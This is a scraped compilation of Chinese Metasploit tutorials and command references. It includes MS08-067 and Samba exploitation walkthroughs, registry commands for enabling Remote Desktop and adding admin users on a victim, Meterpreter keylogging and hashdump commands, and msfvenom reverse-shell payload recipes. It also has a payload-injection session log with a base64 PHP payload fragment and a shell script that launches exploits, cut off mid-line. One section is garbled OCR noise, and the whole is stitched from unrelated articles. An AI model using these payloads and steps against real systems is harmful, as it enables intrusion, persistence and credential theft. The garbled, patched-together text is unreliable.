winows metasploit command
Metasploit-Windows漏洞的利用
Metasploit漏洞的利用1windows 2000—MS04-011(震荡波)Nessus扫描结果:4windows 2000/2003—MS02-018(IIS)5windows 2000/2003—MS01-0236windows 2000/2003—MS06-0407windows 2000/2003—MS08-067 1、利用Metasploit Framework进行MS08-067缓冲区溢出攻击图1 使用Web界面图 2 选择exploit图 3 选择target 图 4 选择payload图 5 填写options 图 6 填写options 图 7 填写options图 8 执行exploit图 9 溢出过程图 10 查看目标主机信息图 11 目标主机IP信息图 12 在目标主机上添加管理员用户图 13 成功添加用户注:所有图中显示的乱码是因为msf console不支持中文编码显示。
2、开启目标主机的终端服务远程登录管理。
获得目标主机的command shell了,接下来就要开启目标主机的3389终端服务远程控制目标主机。
这里我们使用修改注册表的方法,启动终端服务—代码1:echo Windows Registry Editor Version 5.00 >>3389.regecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Enabled"="0" >>3389.regecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.regecho "ShutdownWithoutLogon"="0" >>3389.regecho [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.regecho "EnableAdminTSRemote"=dword:00000001 >>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled"=dword:00000001 >>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.regecho "Start"=dword:00000002 >>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.regecho "Start"=dword:00000002 >>3389.regecho [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.regecho "Hotkey"="1" >>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.regecho "PortNumber"=dword:00000D3D >>3389.regecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.regecho "PortNumber"=dword:00000D3D >>3389.reg图 14 生成开启终端服务的注册表文件复制代码1,粘贴到msf console:图 15 复制代码图 16 粘贴代码图 17 查看生成的3389.reg文件图 18 导入注册表因为Windows 2000下开启终端服务不能像Windows XP一样可以立即生效,而是需要重启机器后才能生效。
Metasploit
要进行用户管理(添加、删除和设置密码),请前往“Administration > User Administration” 并点击“New User” 来添加新用户。“Administrator” 角色可以访问所有项目、管理用户并应用软件更新。
要新建项目,请前往“Project > Create New Project”
/download/
硬件要求 • - 2 GHz+ 处理器 • - 2 GB 内存(推荐4 GB) • - 500MB+ 可用磁盘空间 • - 10/100 Mbps 网卡 操作系统 • - Windows XP、2003、Vista、2008 Server 和Windows 7 • - Red Hat Enterprise Linux 5.x、6.x - x86 和x86_64 • - Ubuntu Linux 8.04、10.04 - x86 和x86_64 浏览器版本 • - Mozilla Firefox 4.0+ • - Microsoft Internet Explorer 9 • - Google Chrome 10+
输入项目名称、描述、网络范围、项目拥有者和成员。
点击“Home”(主页) 要编辑项目,勾选
即可显示所有可用项目。 并点击“Settings”(设置) 。
运行渗透测试的第一步是发现一些目标。Metasploit 可以使用内置的工具和模块来进 行扫描并发现设备,从其他工具导入结果,对目标网络使用Nexpose 来发现漏洞。 D1.前往该项目并点击 按钮。输入要执行发现操作的地址(范围)。
学习指南
A 简介
Metasploit 渗透测试步骤
1. 创建项目 2. 发现设备 3. 获取对主机的访问权限 4. 控制会话 5. 从目标主机收集证据 6. 清除会话 7. 生成报告
MetasploitFramework(1)基本命令、简单使用
MetasploitFramework(1)基本命令、简单使⽤⽂章的格式也许不是很好看,也没有什么合理的顺序完全是想到什么写⼀些什么,但各个⽅⾯都涵盖到了能耐下⼼看的朋友欢迎⼀起学习,⼤⽜和杠精们请绕道基本的控制台命令介绍:banner查看metasploit的基本信息connect这⾥理解成kali的nc命令,基本⼀致简单使⽤下:show列出各种各样的模块,后边会经常使⽤search顾名思义,搜索,⽐如我搜索⼀个微软的漏洞,显⽰的是⽂件⽬录(/usr/share/metasploit-framework/.....)可以过滤性地搜索不只有name筛选,还有类型type,平台platform等(-h可以看看都可以搜哪些)use使⽤模块的命令:⽐如我下⾯使⽤著名的ms08-067接下来就可以输⼊⼀些特定模块的特定的命令⽐如:show options,show targets,这些具体在后⾯介绍数据库⽅⾯的操作:db_status:查看是否连接到数据库,如果失败的话重启下db_disconnect:断开数据库连接(通常⽤不着)db_connect:连接其他数据库db_rebuild_cache:开启数据库缓存任务(后边如果⽤到数据库的东西,可以更快速调⽤)db_nmap:其实和Nmap命令⼀致,不过会把扫描结果存⼊数据库db_export:导出数据库,-f参数:保存格式,后边接路径使⽤:db_export -f xml /root/xxx/a.xml有导出就有导⼊:db_import使⽤:db_import /root/xxx/a.xml注意:可以导⼊⼀些⼯具的⽂件,⽐如可以导⼊Nmap扫描结果的输出⽂件这⾥顺便再介绍⼀个命令hosts,查看主机记录:⽰例:我先hosts命令查看是否保存了主机,Nmap扫描⼀个IP,再看看有没有更新:下⾯我再hosts:发现多了⼀个记录我想具体看下这个记录:现在只扫描了⼀个:如果扫描了很多IP,我想只看开启的IP:加⼀个-u参数即可hosts 1.1.1.1 -u当然还有-c过滤参数:只看某⼀列还有⼀个有⽤的参数-S搜索功能上边获取了主机消息,那么端⼝信息呢?services:这⾥就查到了刚才Nmap扫描到的端⼝的信息:如果我想搜索开启3306端⼝的信息:-S参数是全局搜索,如果只搜索开放某个端⼝就需要参数-p了端⼝可以是⼀个,也可以是⼀个范围(-p 100-200)可以配合上边的-c参数来使⽤:接下来⽤Metasploit framework做些⼩测试后边的命令是⼀些需要具体⽬标的命令:因此,我特意开启⼀个Metasploitable虚拟机ifconfig查看到这个机器IP:192.168.163.129我利⽤mysql_login模块尝试破解⼀个mysql数据库:使⽤这个模块:use+路径依次设置⽤户名,检查是否空密码,设置⽬标IP:可以使⽤刚才介绍的show options命令看看设置的结果下⾯运⾏这个模块:⼀种是run,⼀种是exploit:由于⽬标机器本⾝就有漏洞,直接成功了:这个结果就会存⼊数据库中:使⽤命令creds查看数据库顺便说⼀下,以后如果扫描到了漏洞,也可以使⽤vulns查看数据库中保存的漏洞扫描完之后,可以⽤unset取消参数的设置有⼀种设置:设置全局参数:setg(重启metasploit framework后这个全局参数就会失效)⽐如:setg RHOSTS 192.168.163.129那么接下来使⽤任何模块默认都会设置好这个参数当然全⾯参数取消也很简单:unsetg [参数名]当然,为了防⽌设置好全局参数重启后失效,可以⽤⼀个新的命令:save下边再做⼀个简单的案例:我⽤经典的MS08-067漏洞来渗透⼀个windowsXP系统:开启⼀个windowsXP机器:关闭防⽕墙查看到这个机器的IP:192.168.163.130查询完整路径然后使⽤模块:设置好⽬标IP:查看⽬标targets都有哪些:找到其中对应的序号⽐如我这⾥对应的是2号再设置payload为反连接的payload(⽬标机器会主动和我TCP连接)既然要主动连接,就需要设置⼀个连接的IP:当前Kali机器的IP设置好之后看看设置的参数:OK,没有问题,可以执⾏了!后来发现IP设置错了,我改了下,这⾥就不记录了:但是渗透失败了,笔记MS08-067是⽼漏洞了,XP系统不好渗透但是!!虽说失败了,但是⽬标机器被我搞崩溃了,这也算是⼀种攻击了吧,哈哈。
msf对windows提权方法总结
Metasploit Framework(MSF)是一种渗透测试工具,它包括了许多模块和利用技术,其中一些专门用于在 Windows 系统上进行提权。
提权是指攻击者通过某种手
段获取更高权限的过程,通常是从普通用户升级为管理员或系统用户。
以下是一些在 Metasploit 中用于 Windows 提权的常见方法:
1.Local Exploits:
Metasploit 提供了一些本地漏洞利用模块,用于利用目标系统上的已知漏洞。
这些模块可能涉及到某些服务或应用程序的漏洞,通过这些漏洞攻击者可以
获得更高的权限。
例如:
2.Post Exploitation Modules:
Metasploit 还提供了一些用于后期渗透的模块,用于在系统上查找提权的机
会。
这些模块通常在获取初始访问权限后运行,以寻找系统中的漏洞或弱点。
例如:
3.Token Impersonation:
在 Windows 中,通过令牌伪造(Token Impersonation)技术,攻击者可以使
用已经获得的令牌来获取更高的权限。
Metasploit 提供了一些与令牌相关的
模块,用于伪造或注入令牌。
例如:
4.Exploit Suggester:
Metasploit 中的post/multi/recon/local_exploit_suggester模块用于自动检测目标系统上可能存在的提权机会。
它会分析系统信息,查找可能的本地漏洞,然后建议相应的模块。
这些只是 Metasploit 中一些常见的 Windows 提权方法,实际使用时需要根据目标系统的具体情况选择适当的模块。
完整版Metasploit利用溢出漏洞远控Windows靶机操作指南
1网络测试环境构建首先需要先配置好一个渗透测试用的网络环境, 包括如图1所示的运行Kali Linux 系统的计算机,如图2所示的Windows Server 2003系统的计算机和如图 3所示的运行 Windows 7系统的计算机。
显然这三台计算机处于同一个网段中, 可以相互通讯,Kali 系统用作攻击机,下面将在此系统上运行 Metasploit 进行 渗透测试,而 Windows 2003和Windows 7系统都是本次任务中需要进行渗透入 图1 Kali 攻击机侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。
rootMlflj2Ki3)f 厂 mine: 0carrie 『;3F 叽 r-1j 3 kA 丄PM AppLitutlgin 兮 PLic 砂常 l*-lLink enc ap r Lor al L 二口pback Irwt 1 LmtB add r i : :1/12B UP LOOPBACK RUNNING packets : 32 归「厂口 [厂石 TX packets : 32 er rars RXfl-4 IFcanflgLlrik anc4p :EThemQt HWidek ftG L G C .29^30:25: flinot addr-l :0_] 0.10.13? Beast 11©. 10.13.255 貼 Lnatfi addn fgfid r 1513c = 29f f : fofifli:25t 1/^4 JScjppa : I UP BROADCAST HUftNI^G MULHC4ST hlTU:垢舲 Moir R H pKket§: 136S7 errors:® repped :9 ovtrnjri9:9 IM packets :2S£I 92 e r r : rs:& d repp^d : G overnjfisM3 c oil 丄^icns : D t Kqdfi je L 色n :1 HUJ X J ftH b>T«:9U9JS {»Q,5 Kim TK b/tH :117672LfiHwle 苦乩(L0卫Stope: Hast MTU: 655 3S Metric:!i z B dropped ; 3 o^erruriB : 0 i :0 dropped :fl overruns :A :© _ilo fc&i Via^r Sajieh T<rminjl Holp啦rgl ⑭giffirrfFic <.vmnv*] \ i 1.4 “・hicngDft甕嗣叶E『皈盂5.J,37»®13 战•乜所有I¥fl5-W03 Hivrc^nrt Corp.习上邛缶Ci M>cuinciinCt nrrti M^djnmlittriAtor^iipetinl ijM . idtoua 1 P C^ivf IgLJUl llill"Kpi">T4R€*nn«hot i«n -cpeo 11 lc 1HH£ £uff lx B s la>c-iLdi>»j.ni irp R魁百■#£*#•*•,**■!:■目』心」珊fiaihriec■■•・■■・■・■・■罩科鼠齐五丄!5鶯J・Default GatESLy - - * ・」〜亠.匕19B18b IB■耀p:K*[11ifi«'■JlLUilAitl.r(ltCc Fg%w;u・ji:…m ?图 2 Windows 2003 靶机CbHi图3 Win dows 7靶机2扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、如图4所示,在Kali攻击机上执行Msfconsole命令,即可进入Metasploit 环境,如图5所示。
metasploit命令集
Metasploit Framework命令汇总一、msfconsole? 帮助菜单back 从当前环境返回banner 显示一个MSF bannercd 切换目录color 颜色转换connect 连接一个主机exit 退出MSFhelp 帮助菜单info 显示一个或多个模块的信息irb 进入irb脚本模式jobs 显示和管理作业kill 杀死一个作业load 加载一个插件loadpath 在一个路径搜索并加载模块quit 退出MSFresource 运行存储在一个文件中的命令route 查看一个会话的路由信息save 保存动作search 搜索模块名和描述set 给一个变量赋值setg 把一个值赋给全局变量show 显示所给类型的模块,或所有模块sleep 在限定的秒数内什么也不做unload 卸载一个模块unset 解除一个或多个变量unsetg 解除一个或多个全局变量use 通过名称选择一个模块version 显示MSF和控制台库版本号二、databasedb_add_host 添加一个或多个主机到数据库db_add_note 添加一个注释到主机db_add_port 添加一个端口到主机db_connect 连接一个存在的数据库db_create 创建一个新的数据库实例db_del_host 从数据库删除一个或多个主机db_del_port 从数据库删除一个端口db_destroy 删除一个存在的数据库db_disconnect 断开与当前数据库实例的连接db_driver 指定一个数据库驱动db_hosts 列出数据库中的所有主机db_nmap 执行Nmap并记录输出db_notes 列出数据库中的所有注释db_services 列出数据库中的所有服务db_vulns 列出数据库中的所有漏洞db_workspace 转换数据库工作区db_import_ip_list 引入一个IP列表文件db_import_amap_mlog 引入一个THC-Amap扫描结果文件(-o -m) db_import_nessus_nbe 引入一个Nessus扫描结果文件(NBE)db_import_nessus_xml 引入一个Nessus扫描结果文件db_import_nmap_xml 引入一个Nmap扫描结果文件(-oX)db_autopwn 自动利用三、autopwn自动化攻击工具db_autopwn-h 显示帮助-t 显示所有匹配的利用模块-x 选择基于漏洞的模块-p 选择基于开放端口的模块-e 运行所有匹配目标的利用程序-r 用一个反向连接的shell(reverse)-b 用一个随机端口的绑定shell(bind)-q 禁用利用程序输出-l [范围] 只对此范围内的主机进行利用-X [范围] 永远排除此范围内的主机-PI [范围] 只对开放这些的端口的主机进行利用-PX [范围] 永远排除对开放这些端口的主机-m [范围] 只运行名字与正则表达式匹配的模块四、Meterpreter核心命令:? 帮助菜单channel 显示动态频道的信息close 关闭一个频道exit 终止meterpreter会话help 帮助菜单interact 频道交互irb IRB脚本模式migrate 转移meterpreter到其他进程quit 终止meterpreterread 从频道读数据run 执行一个meterpreter脚本use 加载一个或多个扩展write 向频道写数据文件系统命令:cat 读取一个文件内容到屏幕cd 切换目录del 删除指定文件download 下载一个文件或目录edit 编辑一个文件getlwd 获取本地工作目录getwd 切换工作目录lcd 切换本地工作目录lpwd 打印本地工作目录ls 文件列表mkdir 创建目录pwd 打印当前工作目录rm 删除指定文件rmdir 远程目录upload 上传一个文件或目录网络命令:ipconfig 显示网络接口portfwd 发送一个本地端口到一个远程服务route 查看和修改路由表系统命令:clearev 清除事件日志execute 执行一个命令getpid 取得当前进程IDgetuid 取得服务器运行用户kill 杀死一个进程ps 列出进程列表reboot 重启远程计算机reg 修改远程注册表rev2self 在远程机器调用RevertToSelf()shell 返回一个cmdshellshutdown 关闭远程系统sysinfo 取得远程系统的信息用户接口命令:enumdesktops 列出所有访问桌面和windows工作站idletime 远程用户闲置时间keyscan_dump 转存击键缓存keyscan_start 开始捕捉击键keyscan_stop 停止捕捉击键setdesktop 转移另一个工作站桌面uictl 用户接口控制密码数据库命令:hashdump SAM转储时间戳命令:timestomp 修改文件时间戳Metasploit攻击命令大全show exploits列出metasploit框架中的所有渗透攻击模块。
Metasploit命令行下的使用
强大溢出工具包:Metasploit命令行下的使用/bbs/jsp/view.jsp?articleID=1709641Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.下载Metasploit双击进行安装,非常简单,一路回车就行了。
安装完之后看下安装目录下的Msfconsole.bat 和msfweb.bat,第一个是命令下的控制台。
第二个是图形界面下的程序。
现在我们先来看下命令行下的使用方法,运行后我们看到的是metasploit的欢迎界面,输入“?”查看帮助,如图1看到很多命令吧,我们来解释一下“?”帮助“cd” :这个命令大家都熟悉,和WIN下面一样,切换目录“exit”这个就是退出的意思“info”显示当前程序信息“quit”退出程序“reload”加载exploit和payloads“save”保存设置“setg”设置一个环境变量“show”显示当前可用的exploit“ use”选择一个exp“version”显示程序版本这么多命令看起来肯定有些晕了吧其实用到的就"show" "info" "use"这3个,我们来看看是怎么使用的这个程序就是一个大的工具包,集成了N多EXPLOIT,我们可以用show exploits看看有哪些exploit程序,如图2Return to Gallery|Original Image看到了吧?这么多溢出程序,想用哪个就用哪个,省得整天找。
这么多的东西该怎么用呢??比如我想用一个溢出程序,肯定得先看他的帮助了解使用方法。
这就得用到info命令啦。
这个命令就是显示溢出程序的详细信息,比如我们想看下iis50_webdav_ntdll这个溢出程序的用法,就在命令行下输入info exploit iis50_webdav_ntdll,就会看到图3所示这里只是查看Exploit的信息,我们还可查看shellcode的信息。
Metasploit可执行后门
只要服务器不关闭!大家都晓得HTTP和HTTPS是穿墙的!detach是中断SESSION链接的命令msf payload(bind_php) > generate -t raw -e php/base64eval(base64_decode(CQkKCQkJQHNldF90aW1lX2xpbWl0KDApOyBAaWdub3JlX3VzZXJfYWJvcnQoMSk7IEBpbmlfc2brk@Dis9Team:~$ file https.exehttps.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit上面代码:meterpreter > resource /root/.msf4/logs/persistence/DIS9TEAM-A1_20120321.5048/DIS9TEAM-A1_20120321.5048.rc[*] Reading /root/.msf4/logs/persistence/DIS9TEAM-A1_20120321.5048/DIS9TEAM-A1_20120321.5048.rc[*] Running rm c:\windows\\FBEzRzQYpXKFg.vbsmsf exploit(ms08_067_netapi) > use post/windows/manage/payload_injectmsf post(payload_inject) >msf post(payload_inject) > show optionsModule options (post/windows/manage/payload_inject):Name Current Setting Required Description---- --------------- -------- -----------HANDLER false no Start an Exploit Multi Handler to receive the connectionLHOST 5.5.5.1 yes IP of host that will receive the connection from the payload.LPORT 4433 no Port for Payload to connect to.OPTIONS no Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.PAYLOAD windows/meterpreter/reverse_tcp no Windows Payload to inject into memory of a process.PID no Process Identifier to inject of process to inject payload.SESSION yes The session to run this module on.msf post(payload_inject) > set PAYLOAD windows/meterpreter/reverse_httpsPAYLOAD => windows/meterpreter/reverse_httpsmsf post(payload_inject) > set LPORT 9999LPORT => 9999msf post(payload_inject) > set TimestampOutput 0TimestampOutput => 0msf post(payload_inject) > set SESSION 5SESSION => 5msf post(payload_inject) > exploit[*] Running module against DIS9TEAM-A1[*] Performing Architecture Check[*] Process found checking Architecture[+] Process is the same architecture as the payload[*] Injecting Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager into process ID 1636 [*] Opening process 1636[*] Generating payload[*] Allocating memory in procees 1636[*] Allocated memory at address 0x00780000, for 363 byte stager[*] Writing the stager into memory...[+] Successfully injected payload in to process: 1636[*] Post module execution completedmsf post(payload_inject) > sessionsActive sessions===============Id Type Information Connection-- ---- ----------- ----------4 meterpreter x86/win32 DIS9TEAM-A1\brk @ DIS9TEAM-A1 5.5.5.1:1111 -> 5.5.5.3:1280(5.5.5.3)5 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DIS9TEAM-A1 5.5.5.1:4444 -> 5.5.5.3:1042 (5.5.5.3)msf post(payload_inject) >msf post(system_session) > show optionsModule options (post/multi/manage/system_session):Name Current Setting Required Description---- --------------- -------- -----------HANDLER false yes Start an Exploit Multi Handler to receive the connection LHOST 5.5.5.1 yes IP of host that will receive the connection from the payload.LPORT 4433 no Port for Payload to connect to.SESSION yes The session to run this module on.TYPE auto yes Scripting environment on target to use for reverse shell (accepted: auto, ruby, python, perl, bash)msf post(system_session) > set HANDLER trueHANDLER => truemsf post(system_session) > sessionsActive sessions===============Id Type Information Connection-- ---- ----------- ----------4 meterpreter x86/win32 DIS9TEAM-A1\brk @ DIS9TEAM-A1 5.5.5.1:1111 -> 5.5.5.3:1280(5.5.5.3)5 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DIS9TEAM-A1 5.5.5.1:4444 -> 5.5.5.3:1042 (5.5.5.3)msf post(system_session) > set SESSION 5SESSION => 5msf post(system_session) > exploit[-] Post failed: Msf::OptionValidateError The following options failed to validate: TYPE.msf post(system_session) > set TYPE bashTYPE => bashmsf post(system_session) > exploit[*] Starting exploit multi handler[*] Started reverse handler on 5.5.5.1:4433[*] Starting the payload handler...[*] Post module execution completedmsf post(system_session) > set TYPE pythonTYPE => pythonmsf post(system_session) > exploit[*] Starting exploit multi handler[-] Job 4 is listening on IP 5.5.5.1 and port 4433[-] Could not start handler![-] A job is listening on the same Port[*] Post module execution completedmsf post(system_session) > set LPORT 5555LPORT => 5555msf post(system_session) > exploit[*] Starting exploit multi handler[*] Started reverse handler on 5.5.5.1:5555[*] Starting the payload handler...[*] Post module execution completedmsf post(system_session) >自动开3389:很简单,进入模块设置帐号密码。
msf的基本常用命令
MSF的基本常用命令Metasploit Framework(MSF)是一种广泛应用于渗透测试和安全评估的开源工具,它提供了一系列强大的功能和功能模块。
MSF拥有丰富的命令集,用于管理和使用其各种功能。
本文将介绍MSF的一些基本常用命令,帮助你更好地使用和理解它。
1. 启动Metasploit首先,你需要启动MSF。
在终端中输入以下命令:msfconsole此命令将启动MSF控制台,并显示欢迎界面。
你可以使用控制台中的各种命令进行不同的操作。
2. 基本命令helphelp命令用于查看所有可用的命令。
在控制台中输入以下命令:help此命令将列出所有可用的命令,并提供有关每个命令的简要说明。
searchsearch命令用于搜索所有可用的exploit、payload、auxiliary和post模块。
例如,如果你想搜索与“Windows”相关的exploit模块,可以在控制台中输入以下命令:search Windows此命令将显示与“Windows”相关的所有exploit模块,并提供有关每个模块的详细信息。
useuse命令用于选择要使用的模块。
例如,如果你想使用一个特定的exploit模块,可以在控制台中输入以下命令:use exploit/windows/smb/ms17_010_eternalblue此命令将选择名为“ms17_010_eternalblue”的exploit模块。
optionsoptions命令用于查看和设置模块的选项。
当你选择一个模块后,你可以使用此命令查看模块的可用选项。
例如,输入以下命令:options此命令将显示当前模块的选项列表,并提供有关每个选项的详细信息。
setset命令用于设置模块的选项。
当你选择一个模块并查看其选项列表后,你可以使用此命令设置各个选项的值。
例如,输入以下命令:set RHOST 192.168.0.1此命令将将RHOST选项的值设置为“192.168.0.1”。
metaploit 命令参数
metaploit 命令参数摘要:一、Metasploit简介1.Metasploit框架的组成2.Metasploit的作用和用途二、Metasploit命令参数1.常用命令参数及其功能a.`msfconsole`:进入Metasploit命令行界面b.`use`:选择攻击模块c.`set`:设置变量d.`run`:执行攻击模块e.`show`:查看当前设置和会话信息f.`exit`:退出Metasploit2.参数的格式和使用方法三、Metasploit命令参数的实际应用1.渗透测试中的使用示例2.安全研究人员和开发者的应用场景正文:Metasploit是一款功能强大的渗透测试框架,广泛应用于网络安全领域。
它由多个组件组成,其中Metasploit命令行界面(MSF Console)是用户与框架进行交互的主要方式。
通过MSF Console,用户可以方便地执行各种渗透测试任务,包括选择攻击模块、设置变量、执行攻击等。
在Metasploit中,命令参数是控制框架行为的关键。
以下是一些常用的Metasploit命令参数及其功能:1.`msfconsole`:这是进入Metasploit命令行界面的命令。
在命令行中输入该命令,即可启动MSF Console。
2.`use`:该命令用于选择要使用的攻击模块。
例如,要使用一个名为“multi/handler”的模块,只需输入`use multi/handler`。
3.`set`:该命令用于设置变量。
在渗透测试中,有时需要对某些参数进行配置,可以使用`set`命令设置。
例如,设置一个名为“RHOST”的变量,内容为“192.168.1.1”,可以输入`set RHOST 192.168.1.1`。
4.`run`:这是执行攻击模块的命令。
在选择了攻击模块并设置了相关参数后,使用`run`命令开始执行攻击。
例如,要执行刚才设置的“multi/handler”模块,只需输入`run`。
msfvenom指令
msfvenom指令
2. 生成Linux反向TCP Meterpreter Shell msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<attacker IP>
LPORT=<attacker port> -f dll -o <ouห้องสมุดไป่ตู้put file>
msfvenom指令
5. 生成Android恶意APK文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=<attacker IP>
LPORT=<attacker port> R > <output file>
msfvenom指令
msfvenom是Metasploit框架中的一个强大工具,用于生成各种类型的恶意软件有效载 荷。它可以生成恶意软件的Shellcode、可执行文件、DLL文件等,以满足渗透测试和漏洞利 用的需求。
以下是一些常用的msfvenom指令及其用法:
1. 生成Windows反向TCP Meterpreter Shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP>
6. 生成PHP反向TCP Meterpreter Shell msfvenom -p php/meterpreter_reverse_tcp LHOST=<attacker IP>
LPORT=<attacker port> -f raw -o <output file>
Metasploit(MSF)渗透测试框架使用教程及基本命令
Metasploit(MSF)渗透测试框架使用教程及基本命令使用Metasploit进行渗透测试需要一定的技术知识和经验。
以下是一些基本的Metasploit命令和使用教程,供初学者参考。
1. 启动Metasploit:在终端中输入"msfconsole",然后按回车键。
这将启动Metasploit的控制台界面。
2. 更新Metasploit:在控制台中输入"msfupdate",然后按回车键。
这将更新Metasploit的模块和资源。
3. 漏洞:使用"search"命令可以Metasploit框架中的漏洞模块。
例如,输入"search windows"将显示与Windows系统相关的漏洞模块。
4. 选择漏洞模块:使用"use"命令可以选择要使用的漏洞模块。
例如,输入"use exploit/windows/smb/ms08_067_netapi"将选择MS08-067漏洞模块。
5. 设置目标主机:使用"set"命令可以设置目标主机的IP地址或域名。
例如,输入"set RHOST 192.168.0.1"将设置目标主机的IP地址为192.168.0.16. 设置监听主机:使用"set"命令可以设置监听主机的IP地址。
例如,输入"set LHOST 192.168.0.2"将设置监听主机的IP地址为192.168.0.27. 运行攻击:使用"exploit"命令可以运行攻击。
例如,输入"exploit"将开始运行所选的漏洞模块对目标主机进行攻击。
8. 使用Meterpreter会话:如果攻击成功,将建立一个Meterpreter会话。
可以使用一系列的命令和模块来在目标系统上执行各种操作。
Metasploit教程msfpayload和msfencode
网上说用msfpayload 生成什么注入进程什么攻击后门,后边的注入进程是吓唬人的,就是一种进程隐藏技术不理解没关系(解释一下:进程注入是指将可恶意的可执行代码注入到一个已经运行的进程一般是合法系统进程,达到来隐藏自身的目的。
msfpayload 这个工具主要的功能就是将Metasploit 中的payloads(工具载荷)包装成一个可执行的文件,或者包装成指定的类型,msfpayload可以将包装好的数据输出,默认的输出设备为终端(就是那个打开的黑窗口)。
直接输出到终端上有可能输出乱码,其实这不是乱码,当数据被输出到终端是使用的是二进制,而终端显示的是二进制对应字符。
也可以指定输出到其他地方,例如网上的例子大部分是msfpayload windows/shell/reverse_tcp X >/root/test.exe 这一句的那个大于号“>"是个重定向符,无论是linux 下还是windows下重定向符有两种一种是> 另一种是>> ,第一种的作用是输出到后边指定的文件中如果文件存在则覆盖文件中的内容,另一种是如果文件存在则将数据追加文件末尾的。
也可以使用管道符号管道符号位”|“ 不包括双引号,意思是前边的程序输出的数据通过这个管道输出到后边的程序中。
msfpayload windows/shell/reverse_tcp LHOST=127.0.0.1 R | msfencode -t exe -o /root/testss*e 这个例子中就使用了管道符来传送数据。
msfencode 这个工具主要的功能是对输入过来的数据进行编码( 如果不指定编码方式则使用默认编码方式)。
然后将编码后的数据包装成一个指定的课执行的文件,或者将数据附着到一个指定的已存在的文件上。
msfencode 输出数据的方式和msfpayload一样,如果没有指定输出方式则默认输出到屏幕,msfencode 可以使用重定向符(之前已经说过了)来输出数据到文件,或者使用自带的-o 参数来指定文件。
msfvenom用法
msfvenom用法msfvenom是Metasploit框架中的一个用于生成定制的恶意软件载荷的工具。
它可以用于创建各种类型的恶意软件,包括但不限于Trojan马、后门、木马等。
msfvenom的基本用法是通过命令行来生成恶意软件载荷。
其基本语法如下:msfvenom -p <payload> [options]其中,-p选项用于指定生成的恶意软件载荷的类型,而[options]则用于指定生成载荷的各种参数,如IP地址、端口号、编码方式等。
举例来说,如果要生成一个反向TCP的Meterpreter载荷,可以使用如下命令:msfvenom -p windows/meterpreter/reverse_tcpLHOST=<attacker IP> LPORT=<attacker port> -f exe > payload.exe.在这个例子中,-p选项指定了生成的载荷类型为windows/meterpreter/reverse_tcp,LHOST和LPORT分别指定了攻击者的IP地址和端口号,-f选项指定了生成的文件格式为exe,最后通过重定向符号将生成的载荷保存到payload.exe文件中。
除了生成Windows平台下的载荷,msfvenom还可以生成其他平台的载荷,如Android、Linux等。
此外,msfvenom还支持对生成的载荷进行编码、加密等操作,以绕过杀软的检测和防御。
总的来说,msfvenom是一个功能强大、灵活多样的恶意软件载荷生成工具,可以根据具体需求生成各种定制的恶意软件载荷,但需要注意的是,使用msfvenom生成恶意软件载荷可能涉及到违法和道德问题,建议在合法授权的环境下使用。
Metasploit使用教程(操作实例,meterpreter,msfconsole,ms。。。
Metasploit使⽤教程(操作实例,meterpreter,msfconsole,ms。
1、控制Metasploit终端(MSFCONSOLE)MSFCONSOLE主要⽤于管理Metasploit数据库,管理会话,配置并启动Matasploit模块⼀些通⽤命令:help:该命令允许⽤户查看执⾏命令的帮助信息use module:该命令允许⽤户加载选择的模块set optionname module:该命令允许⽤户为模块设置不同的选项。
run:该命令⽤来启动⼀个⾮渗透攻击模块search module:该命令允许⽤户搜索⼀个特定的模块exit:退出MSFCONSOLE操作步骤:1)、终端启动MSFCONSOLE当出现msf>提⽰符,表⽰msfconsole启动成功2)、使⽤search命令搜索所有有效的mysql模块输出的信息显⽰为4列:模块名称,公开时间,等级、描述3)、使⽤ mysql扫描模块4)、显⽰模块的有效选项输出的信息显⽰为4列:选项名称,当前设置,需求及描述,其中Required为yes的选项是必须配置的,选项的作⽤在描述中可以了解到5)、为渗透攻击指定⽬标系统,⽤户⽂件和密码⽂件配置根据Required可以看到必须配置但是还未配置的选项有RHOSTS即⽬标主机IP其中选项USER_FILE 和PASS_FILE指定渗透的⽤户⽂件和密码⽂件,类似于爆破中的字典⽂件6)、启动渗透攻击测试出⽤户的名称和密码分别是root和password2、控制Metasploit命令⾏接⼝(MSFCLI:⼀个接⼝)但在2015年以后,Msfconsole中的-x选项代替Msfcli参考链接操作实例(利⽤CVE-2007-2447获得linux命令⾏的shell)Samba MS-RPC Shell命令注⼊漏洞编写shell脚本test.sh#!/bin/bashecho"please set RHOST IP"read -p "IP:" IPmsfconsole -x "use multi/samba/usermap_script;\set payload cmd/unix/bind_netcat;\set RHOST $IP;\run"chmod +x test.sh 给脚本执⾏权限./test.sh执⾏脚本得到shell还可以利⽤msfconsole命令⾏得到shell search CVE-2007-2447利⽤ms08_067漏洞得到win xp的shell#!/bin/bashecho"please set RHOST IP"read -p "IP:" IPmsfconsole -x "use exploit/windows/smb/ms08_067_netapi;\set payload windows/meterpreter/reverse_tcp;\set RHOST 